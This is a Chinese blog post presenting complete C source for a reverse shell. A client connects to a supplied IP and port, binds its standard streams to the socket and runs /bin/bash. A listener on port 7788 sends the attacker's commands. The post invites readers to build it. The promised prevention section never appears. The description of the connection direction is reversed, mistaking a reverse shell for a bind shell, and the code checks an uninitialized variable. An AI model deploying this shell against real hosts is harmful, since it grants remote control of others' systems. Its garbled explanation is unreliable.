反弹Shell实现与防范

反弹Shell是一种常见的网络攻击技术,攻击者通过它能够获得对目标系统的远程控制。下面我将介绍反弹Shell的基本原理、实现方式以及防范措施。

反弹Shell的基本原理

反弹Shell与常规Shell连接方向相反:

  • 常规Shell:攻击者监听端口,目标主动连接

  • 反弹Shell:目标监听端口,攻击者主动连接

这种方式常能绕过防火墙限制,因为出站连接通常比入站连接限制更少。

本质上是利用进程之间的通讯来实现的,要做到反弹shell要主要靠一个函数来实现,那就是dup2,下面是这个函数的一个用法:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
// 保存原始的标准输出⽂件描述符,以便后续恢复
int original_stdout = dup(STDOUT_FILENO);
// 打开或创建⽂件,准备写⼊
// 使⽤ O_WRONLY | O_CREAT | O_TRUNC 标志:
// - O_WRONLY: 只写模式
// - O_CREAT: 如果⽂件不存在则创建
// - O_TRUNC: 如果⽂件存在则清空内容
// 0644 是⽂件权限: rw-r--r--
int file_fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (file_fd == -1) {
perror("open failed");
exit(EXIT_FAILURE);
}
// 使⽤ dup2 将标准输出重定向到⽂件
// 这将使所有写⼊标准输出的内容转到⽂件中
if (dup2(file_fd, STDOUT_FILENO) == -1) {
perror("dup2 failed");
exit(EXIT_FAILURE);
}
// 关闭原始的⽂件描述符,因为我们已经不需要它了
// dup2 已经复制了它到标准输出
close(file_fd);
// 现在,所有 printf 的输出都将被重定向到⽂件
printf("这⾏⽂字将写⼊⽂件,⽽不是显示在终端!\n");
printf("当前进程ID: %d\n", getpid());
// 刷新缓冲区,确保所有内容都写⼊⽂件
fflush(stdout);
// 恢复原始的标准输出
if (dup2(original_stdout, STDOUT_FILENO) == -1) {
perror("恢复标准输出失败");
exit(EXIT_FAILURE);
}
// 关闭保存的原始标准输出副本
close(original_stdout);
// 现在 printf 将再次输出到终端
printf("这⾏⽂字将显示在终端上!\n");
return 0;
}

简单的反弹Shell示例

shell_client

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <pthread.h>
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: ./tcp_client ip port\n");
return -1;
}
// 1、申请sock_fd
int ret;
int tcp_socket;
// 使⽤端⼝
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
if (ret < 0) {
perror("socket");
return -1;
}
// 2、填充要连接服务器的信息
struct sockaddr_in dest;
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_port = htons(atoi(argv[2]));
dest.sin_addr.s_addr = inet_addr(argv[1]); // inet_aton(argv[1],
&dest.sin_addr);
// 3、连接服务器
ret = connect(tcp_socket, (const struct sockaddr *) &dest, sizeof(des
t));
if (ret == -1) {
perror("connect");
return -1;
}
printf("dup...\n");
dup2(tcp_socket, 0);
dup2(tcp_socket, 1);
dup2(tcp_socket, 2);
execl("/bin/bash", "bash", NULL);
return 0;
}

shell_server

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <string.h>
#include <stdlib.h>
char rev_buf[1024];
char snd_buf[1024];
void replace_newlines_with_tabs(char *str) {
int length = strlen(str);
for (int i = 0; i < length; i++) {
if (str[i] == '\n') {
str[i] = '\t';
   }
  }
}
void recv_fun(void *new_fd) {
int ret;
while (1) {
ret = recv((int) new_fd, rev_buf, sizeof(rev_buf), 0);
if (ret < 0) {
perror("recv");
exit(-1);
}
if (ret == 0) {
printf("client close\n");
exit(0);
}
rev_buf[ret] = 0;
// replace_newlines_with_tabs(rev_buf);
printf("%s\n", rev_buf);
}
}
int main() {
int ret;
// 1、申请⼀个 sock_fd
int tcp_socket;
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
if (ret < 0) {
perror("socket");
return -1;
}
int opt = 1;
setsockopt(tcp_socket , SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
// 2、作为服务器,将端⼝注册进系统,
struct sockaddr_in self;
memset(&self, 0, sizeof(self));
self.sin_family = AF_INET;
self.sin_port = htons(7788); // htons host to net 转换成⽹络序
self.sin_addr.s_addr = htonl(INADDR_ANY); // 表明我接受哪⾥IP
ret = bind(tcp_socket, &self, sizeof(self));
if (ret < 0) {
perror("bind");
return -1;
}
printf("bind\n");
//getchar();
// 3、listen 设置监听
listen(tcp_socket, 3);
printf("listen...\n"); // listen后 端⼝处于监听状态
int new_fd;
char buf[1024];
memset(&buf, 0, sizeof(buf));
// accept 拿到新的⽂件描述符 new_fd
new_fd = accept(tcp_socket, NULL, NULL);
if (new_fd <= 0) {
perror("accept");
return -1;
}
pthread_t tid;
// 创建⼀个线程 调⽤recv 去接收
pthread_create(&tid, NULL, (void *(*)(void *)) recv_fun, (void *) new
_fd);
printf("<input>:");
while (fgets(buf, sizeof(buf), stdin)) {
send(new_fd, buf, strlen(buf), 0);
// printf("<input>:");
// ret = recv(new_fd, rev_buf, sizeof(buf), 0);
// rev_buf[ret] = 0;
// printf("recv: %s\n", rev_buf);
}
return 0;
}

以input一个ls命令来看,得到的是被攻击方的ls命令结果:

有兴趣的朋友可以利用上面代码自己实现一下!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值